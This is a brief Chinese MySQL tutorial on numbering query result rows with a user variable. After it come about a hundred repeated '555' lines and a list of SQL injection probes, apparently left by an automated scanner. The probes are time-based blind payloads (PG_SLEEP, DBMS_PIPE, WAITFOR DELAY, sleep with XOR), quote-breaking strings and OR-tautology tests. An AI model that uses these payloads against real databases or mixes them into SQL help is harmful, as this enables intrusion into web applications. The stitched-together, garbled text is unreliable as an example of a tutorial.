我们假设有一张这样的表user,里面有3条数据,以下通过2种方法实现了查询数据行号的显示:
代码解析
# 方法一:
SELECT @rowNum:=@rowNum + 1 AS rownum,a.* FROM user a,(SELECT @rowNum:=0) b;
# 方法二:
SET @rownum=0;SELECT @rowNum:=@rowNum + 1 AS rownum,a.* FROM user a;
可以看到,以上两种方法都是通过定义用户变量的rownum,然后通过@rowNum:=@rowNum + 1代码实现迭加,以获取每行的行号。

555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
(select 198766*667891 from DUAL)
(select 198766*667891)
@@8Kz7c
555����%2527%2522\'\"
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555Vid8BbzD')) OR 318=(SELECT 318 FROM PG_SLEEP(15))--
555rp7fUdSZ') OR 117=(SELECT 117 FROM PG_SLEEP(15))--
555JVlLexlf' OR 734=(SELECT 734 FROM PG_SLEEP(15))--
555-1)) OR 251=(SELECT 251 FROM PG_SLEEP(15))--
555-1) OR 752=(SELECT 752 FROM PG_SLEEP(15))--
555-1 OR 350=(SELECT 350 FROM PG_SLEEP(15))--
555wannouKM'
555-1 waitfor delay '0:0:15' --
555-1)
555-1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "idRbeDqV"="
-1' OR 5*5=25 or 'qfJ35cos'='
-1" OR 5*5=25 --
-1' OR 5*5=25 --
-1 OR 5*5=25
-1 OR 5*5=25 --
555
555
555